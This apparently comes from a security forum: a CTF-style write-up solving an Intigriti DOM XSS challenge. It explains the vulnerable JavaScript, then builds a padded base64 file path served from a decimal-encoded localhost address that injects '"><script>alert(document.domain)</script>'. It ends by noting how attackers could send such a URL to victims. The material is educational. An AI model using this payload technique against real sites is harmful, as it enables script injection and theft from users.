Hey there 0x00sec!
As promised, here is the solution for the latest XSS challenge made by Intigriti.
The challenge can be found here: https://challenge.intigriti.io/2
The original tweet: https://twitter.com/intigriti/status/1130788256285679618
I will try to make this write up as understandable as possible for all levels! So if you think that the challenge was too difficult and that you need to learn a lot before trying/understanding something like this, donât worry! I will follow the steps I took when solving it in detail. I will add url links that you can interact with and see what I saw (errors) when trying to solve it. Donât forget to reproduce all steps or the final link (with the actual XSS payload) wonât work!
Understanding the code
We will start by taking a look at the code. There are only 16 lines of code, so bear with me:
(1) if(window.location.hash == "")
window.location.hash = "aW50aWdyaXRpLWNoYWxsZW5nZQ==";
(2) var b64img = window.location.hash.substr(1);
var xhttp = new XMLHttpRequest();
(3) xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var reader = new FileReader();
reader.onloadend = function() {
document.write(`
<a href="${b64img}" alt="${atob(
<img src="${reader.result}">
</a>`);
}
reader.readAsDataURL(this.response);
}
};
(4) xhttp.responseType = 'blob';
xhttp.open("GET", b64img, true);
xhttp.send();
Letâs break it down into parts (numbers):
(1) if(window.location.hash == "")
window.location.hash = "aW50aWdyaXRpLWNoYWxsZW5nZQ==";
This initial script only checks if the fragment identifier of the URL is empty. In that case, it adds the default string "aW50aWdyaXRpLWNoYWxsZW5nZQ=="
. If you have been playing a lot of CTFs, you should have seen right off the bat that this string is a Base64 encoded String. The two '='
at the end give as a big hint. The decoded string is: 'intigriti-challenge'
. The URL that results after appending this B64 string is: https://challenge.intigriti.io/2/#aW50aWdyaXRpLWNoYWxsZW5nZQ==.
(2) var b64img = window.location.hash.substr(1);
var xhttp = new XMLHttpRequest();
We now start with the main script. The first line gets the fragment identifier from the URL, removing the intial '#'
. By default, b64img = "aW50aWdyaXRpLWNoYWxsZW5nZQ=="
.
The second line initializes an XMLHttpRequest
that will be used.
(3) xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var reader = new FileReader();
reader.onloadend = function() {
document.write(`
<a href="${b64img}" alt="${atob(b64img)}">
<img src="${reader.result}">
</a>`);
}
reader.readAsDataURL(this.response);
}
};
We are then presented with the vulnerable code. The script assigns a function to xhttp
that will execute only if readyState == 4
and status == 200
. This means that the code will only run when the request finishes and the status code is 200 OK
.
When this happens, a new FileReader()
is used to read the response. When the reader
finishes âreadingâ, the function assigned to onloadend
will execute, which then writes a new html tag to the document:
<a href="${b64img}" alt="${atob(b64img)}">
<img src="${reader.result}">
</a>`);
This will be an a
tag with href="aW50aWdyaXRpLWNoYWxsZW5nZQ=="
by default. The alternate text assigned to this tag will be atob("aW50aWdyaXRpLWNoYWxsZW5nZQ==")
, which (as weâve already seen) results into "intigriti-challenge"
. Inside the a
tag, an image is inserted with the response contents.
(4) xhttp.responseType = 'blob';
xhttp.open("GET", b64img, true);
xhttp.send();
The final lines of the script start the actual request. It sends a GET
request to b64img
. Since b64img
is aW50aWdyaXRpLWNoYWxsZW5nZQ==
by default, the resulting request is: https://challenge.intigriti.io/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==
Which downloads the default image.
After this summary, we can understand why we see the image loaded by default. The steps your browser follows when you enter https://challenge.intigriti.io/2 are:
- The default fragment identifier is assigned: âaW50aWdyaXRpLWNoYWxsZW5nZQ==â
- The
xhttp
fires the request tob64img
(https://challenge.intigriti.io/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==) - If the request succeeds, a new image is inserted with the response contents. The
alt
attribute of thea
tag containing the image is the result of executingatob(b64img)
.
What do we have control over?
What do we control as attackers? What can we manipulate? You guessed it: the fragment identifier. We can modify the fragment identifier and start poking the script to see what happens when an invalid/malformed/unexpected fragment identifier is passed.
Since we now have a clear understanding of the code, we can start poking with something that makes sense: a valid URL path.
What happens if we try a random url? Say, google: https://challenge.intigriti.io/2#https://www.google.com
It doesnât work because of CORS policy, as expected. What happens if we try with a server that accepts Cross-Origin requests? You can use https://cors-test.appspot.com/test to make cors requests, it will respond with status 200 OK
. Thus, our new URL will be: http://challenge.intigriti.io/2/#https://cors-test.appspot.com/test
This time also fails, but the error is different:
This indicates us that atob
failed to decode the string passed, which is b64img="https://cors-test.appspot.com/test"
. Obviously, it wonât work, since it contains invalid base 64 characters.
Ok, letâs back up a little. What else can we try? We can try with relative paths. This actually makes sense, since relative paths doesnât contain invalid base64 characters, and we know that CORS wonât bother us.
What paths do we know exist in the server? Well, there are only 2:
-
/2
- This is the URL path of the challenge per se. -
/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==
- This is the URL path of the default image loaded
Letâs start with the first one: https://challenge.intigriti.io/2#/2
The resulting web page will look like this:
Whoa! What happened? Letâs look at the html generated using developer tools (F12 in google chrome):
<a href="/2" alt="Ăż">
<img src="data:text/html;base64,PHNjcmlwdD4KICBpZih3aW5kb3cubG9...">
</a></body></html>
As we expected, href="/2"
, since the code specifies that href=${b64img}
, and b64img="/2"
.
The alt
attribute is "Ăż"
. Huh? Well, the code specifies that alt=${atob(b64img)}
. What happens if you execute atob("/2")
in the console of your browser? Exactly, "Ăż"
is returned. Since "/2"
is a string that contains valid base 64 characters, atob
executes correctly and returns the decoded string.
But what is this "data:text/html;base64,PHNjcmlwdD4KICBpZih3aW5kb3cubG9..."
assigned to src
of the image? Well, letâs decode it:
<script>
if(window.location.hash == "")
window.location.hash = "aW50aWdyaXRpLWNoYWxsZW5nZQ==";
</script>
<!--
<CHALLENGE>
Tip: Bruteforce won't help you!
-->
<script>
var b64img = window.location.hash.substr(1);
...
Thatâs the actual html of the challenge!! The script scpecifies that src="${reader.result}"
, and since we are reading the path /2
, the html code is treated as the image, even though it isnât. Thatâs why there is no image in the actual page and we are presented with the default error image.
What happens now if we try the second path we know about: https://challenge.intigriti.io/2#/2/aW50aWdyaXRpLWNoYWxsZW5nZQ==
Whaat? There is no image this time:
Hmmm⌠It seems atob
failed to execute. But why? We know that this time b64img="/2/aW50aWdyaXRpLWNoYWxsZW5nZQ=="
, and is composed of valid b64 characters. Why did it fail? Well, if you search the web you will find that atob
usually expects a Base64 string with even length (because of how B64 works), so we will have to add padding. Letâs try running atob
in the console, but adding a valid character to the string:
> atob("//2/aW50aWdyaXRpLWNoYWxsZW5nZQ==")
^
added '/' to the start of the string to make it even
<¡ "ÿý¿intigriti-challenge"
It worked! What happens now if we use this new URL path? https://challenge.intigriti.io/2#//2/aW50aWdyaXRpLWNoYWxsZW5nZQ==
It fails! But look at the error we get:
(index):26 GET https://0.0.0.2/aW50aWdyaXRpLWNoYWxsZW5nZQ== net::ERR_ADDRESS_UNREACHABLE
Notice how the line 26 of the code is failing this time. Thatâs the xhttp.send()
line. It seems that now is failing because the URL is not valid. What URL is trying to access?
https://0.0.0.2/aW50aWdyaXRpLWNoYWxsZW5nZQ==
What the * is this? Well, if you search the web again for this, you will find that passing a string starting with "//"
to XmlHttpRequest
is equivalent to passing https://
, but omiting the initial https:
part. Huh, thatâs interesting⌠In our example, it treated the //2/
as the IP address of the server, so that 2
becomes 0.0.0.2
. What happens if we try something like⌠I donât know, localhost?
Solving the Challenge
For that, we first need to start a localhost http server. We can use python in one line:
$ sudo python -m SimpleHTTPServer 80
Sidenote: we have to use port 80. If we used the default 8000 port, we would have to specify it in the IP address like this âip_address:80
â. Since ':'
is not a valid B64 character, atob
would fail.
Letâs try again. We have to translate 127.0.0.1
(localhost) to decimal: 2130706433
.
The resulting url will be: https://challenge.intigriti.io/2#//2130706433
We get an error because we are trying to access http
(localhost) from https
(server). Letâs try again using http
instead:
http://challenge.intigriti.io/2#//2130706433
Hmmm⌠We now face the CORS problem again. No worries! Since we are the owners of our server running in localhost, we can enable CORS. I found it too cumbersome to activate cors using python, so instead I used http-server
from npm
. You can install it using: npm install -g http-server
. Be sure to stop the previous python server before starting this one!
$ npm install -g http-server
$ http-server --cors -p 80
We now have a running localhost server with CORS enabled. To make this example more fun, we will add an image to our localhost server and access it. The image I used is the 0x00sec logo. Add your image to the root directory of your localhost server. Name it whatever you want, but REMEMBER! donât use any invalid base64 characters, or atob
will fail. I named my image 0x00sec
. Letâs try again using our image path: http://challenge.intigriti.io/2#//2130706433/0x00sec
Hell yeah!!! It worked! The request returned a 200 OK
code, which triggered the code that reads the response (our 0x00sec image), which eventually inserts it into the DOM as an img
.
But the challenge asked for a DOM XSS vulnerability! We have to execute JS code in the browser. Letâs see, how can we achieve it? Letâs inspect the vulnerable code again:
<a href="${b64img}" alt="${atob(b64img)}">
<img src="${reader.result}">
</a>`);
The alt
attribute uses the output of atob(b64img)
and inserts it into the DOM. In the previous example, the alt
tag was: atob("//2130706433/0x00sec") = "ÿý¾ĂNĂ´ĂŤÂáÿLtĂĂÂ"
. Hmmm⌠What would happen if the output of atob
resulted in html code? Letâs try it! The challenge asks us to execute the following code:
alert(document.domain)
Thus, the output of atob
will have to look something like this:
"><script>alert(document.domain)</script>
Why??? (you should ask) Well, because this would then be inserted in alt
. The resulting html code would look like this:
<a href="${b64img}" alt=""><script>alert(document.domain)</script>">
<img src="${reader.result}">
</a>
See what I did there?
The last thing remaining is to generate a B64 string that, when decoded, would generate the string mentioned. Using any B64 encoder we get:
Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=
Letâs try to rename our 0x00sec image file to this name. The resulting url will be:
http://challenge.intigriti.io/2#//2130706433/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=
Hmmm⌠we got the atob
error again, but we know how to solve it!! We just have to pad the string to a valid length. Letâs try adding a subdirectory to our server root dir:
http://challenge.intigriti.io/2#//2130706433/aa/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=
^^^
We then save the renamed 0x00sec image inside the /aa/
directory. Letâs try it again!
And there you have it! We successfully injected and executed JS code into the web page. We can check the html code generated to confirm this:
<a href="//2130706433/aa/Ij48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik8L3NjcmlwdD4=" alt="ÿý¾ĂNĂ´ĂŤÂáýŒ¿"><script>alert(document.domain)</script>">
<img src="data:application/octet-stream;base64, iVBORw0KGgoAAAANSUhEUgAAA...">
</a>
There it is! This type of XSS is known as DOM XSS. You can read more about XSS and different types of XSS here.
But why would this challenge be of any harm if it were to happen in the wild? How could hackers attack it? Well, it would be as easy as creating your own public server, accessible from anywhere. Once you accomplished that, you could send the infectious URL containing the XSS payload (with your server address, not localhost!) to anyone.
Phew! That was it! I really enjoyed solving it and Iâm looking forward to future challenges. I hope this write-up makes sense! Feel free to comment/ask/suggest anything in the comments section
See you around,
~hasp0t